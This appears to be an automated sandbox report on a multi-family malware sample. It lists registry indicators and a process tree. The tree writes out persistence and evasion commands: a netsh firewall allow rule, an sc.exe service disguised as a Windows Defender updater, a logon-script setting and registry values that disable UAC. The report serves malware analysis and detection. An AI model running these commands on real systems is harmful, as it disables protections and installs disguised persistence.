Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Process not Found

Scheduled Task/Job: Scheduled Task 1 TTPs 34 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2148	schtasks.exe
1864	schtasks.exe
4196	schtasks.exe
2612	schtasks.exe
4676	schtasks.exe
1768	schtasks.exe
2148	schtasks.exe
4440	schtasks.exe
4112	schtasks.exe
2668	schtasks.exe
3844	schtasks.exe
3788	schtasks.exe
2988	schtasks.exe
1828	schtasks.exe
3244	schtasks.exe
1580	schtasks.exe
1692	schtasks.exe
1880	schtasks.exe
3776	schtasks.exe
2324	schtasks.exe
4684	schtasks.exe
1856	schtasks.exe
1812	schtasks.exe
724	schtasks.exe
4944	schtasks.exe
4420	schtasks.exe
1532	schtasks.exe
2612	schtasks.exe
4668	schtasks.exe
2400	schtasks.exe
884	schtasks.exe
4184	schtasks.exe
3188	schtasks.exe
752	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
116	powershell.exe
116	powershell.exe
116	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
5056	powershell.exe
5056	powershell.exe
5068	powershell.exe
5068	powershell.exe
1792	powershell.exe
1792	powershell.exe
1792	powershell.exe
5064	powershell.exe
5064	powershell.exe
2584	powershell.exe
2584	powershell.exe
608	powershell.exe
608	powershell.exe
3732	powershell.exe
3732	powershell.exe
3732	powershell.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3208	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	2992	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	116	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	608	powershell.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	3776	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeShutdownPrivilege	3208	Process not Found
Token: SeCreatePagefilePrivilege	3208	Process not Found
Token: SeDebugPrivilege	3720	M1004NUS.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeDebugPrivilege	848	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3208	Process not Found

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3208	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 3340	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	89
PID 1640 wrote to memory of 2784	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	91
PID 3340 wrote to memory of 4852	3340	cmd.exe	93
PID 1640 wrote to memory of 2268	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	94
PID 1640 wrote to memory of 1672	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	96
PID 1640 wrote to memory of 3784	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	98
PID 1640 wrote to memory of 2848	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	103
PID 1640 wrote to memory of 3976	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	105
PID 1640 wrote to memory of 2244	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	108
PID 1640 wrote to memory of 2176	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	110
PID 1640 wrote to memory of 3832	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	114
PID 1640 wrote to memory of 2948	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	116
PID 1640 wrote to memory of 1680	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	119
PID 1640 wrote to memory of 3416	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	121
PID 1640 wrote to memory of 2308	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	123
PID 1640 wrote to memory of 3636	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	125
PID 1640 wrote to memory of 2612	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	130
PID 1640 wrote to memory of 1556	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	132
PID 1640 wrote to memory of 1768	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	134
PID 1640 wrote to memory of 3916	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	136
PID 1640 wrote to memory of 4964	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	138
PID 1640 wrote to memory of 1864	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	142
PID 1640 wrote to memory of 116	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	144
PID 1640 wrote to memory of 4684	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	146
PID 1640 wrote to memory of 4944	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	148
PID 1640 wrote to memory of 4196	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	150
PID 1640 wrote to memory of 5056	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	152
PID 1640 wrote to memory of 4736	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	154
PID 1640 wrote to memory of 3460	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	156
PID 1640 wrote to memory of 1392	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	158
PID 1640 wrote to memory of 2612	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	160
PID 1640 wrote to memory of 5068	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	162
PID 1640 wrote to memory of 1792	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	164
PID 1640 wrote to memory of 2912	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	166
PID 1640 wrote to memory of 4440	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	168
PID 1640 wrote to memory of 5064	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	170
PID 1640 wrote to memory of 2584	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	172
PID 1640 wrote to memory of 3836	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	174
PID 1640 wrote to memory of 4112	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	176
PID 1640 wrote to memory of 3444	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	178
PID 1640 wrote to memory of 3384	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	180
PID 1640 wrote to memory of 608	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	182
PID 1640 wrote to memory of 3664	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	184
PID 1640 wrote to memory of 4160	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	186
PID 3664 wrote to memory of 2988	3664	cmd.exe	188
PID 1640 wrote to memory of 1828	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	189
PID 3208 wrote to memory of 2608	3208	Process not Found
PID 3208 wrote to memory of 2608	3208	Process not Found
PID 1640 wrote to memory of 3732	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	192
PID 1640 wrote to memory of 4384	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	194
PID 1640 wrote to memory of 2176	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	196
PID 1640 wrote to memory of 2668	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	198
PID 1640 wrote to memory of 2824	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	200
PID 1640 wrote to memory of 4712	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	202
PID 1640 wrote to memory of 3596	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	204
PID 1640 wrote to memory of 4920	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	206
PID 1640 wrote to memory of 2144	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	208
PID 1640 wrote to memory of 3704	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	210
PID 1640 wrote to memory of 1764	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	212
PID 1640 wrote to memory of 4432	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	214
PID 1640 wrote to memory of 4516	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	216
PID 1640 wrote to memory of 4160	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	217
PID 1640 wrote to memory of 2952	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	218
PID 1640 wrote to memory of 4556	1640	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	219

System policy modification 1 TTPs 18 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4852
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /S
  2⤵
  PID:2784
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2268
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-22_0e7d8466d611b6c886243bd0510866a4_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:1672
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:3784
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /D
  2⤵
  - Enumerates connected drives
  PID:2848
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /S
  2⤵
  PID:3976
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /D
  2⤵
  PID:2244
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /S
  2⤵
  PID:2176
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /D
  2⤵
  - Enumerates connected drives
  PID:3832
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /S
  2⤵
  PID:2948
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /D
  2⤵
  - Enumerates connected drives
  PID:1680
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /S
  2⤵
  PID:3416
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /D
  2⤵
  - Enumerates connected drives
  PID:2308
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /S
  2⤵
  PID:3636
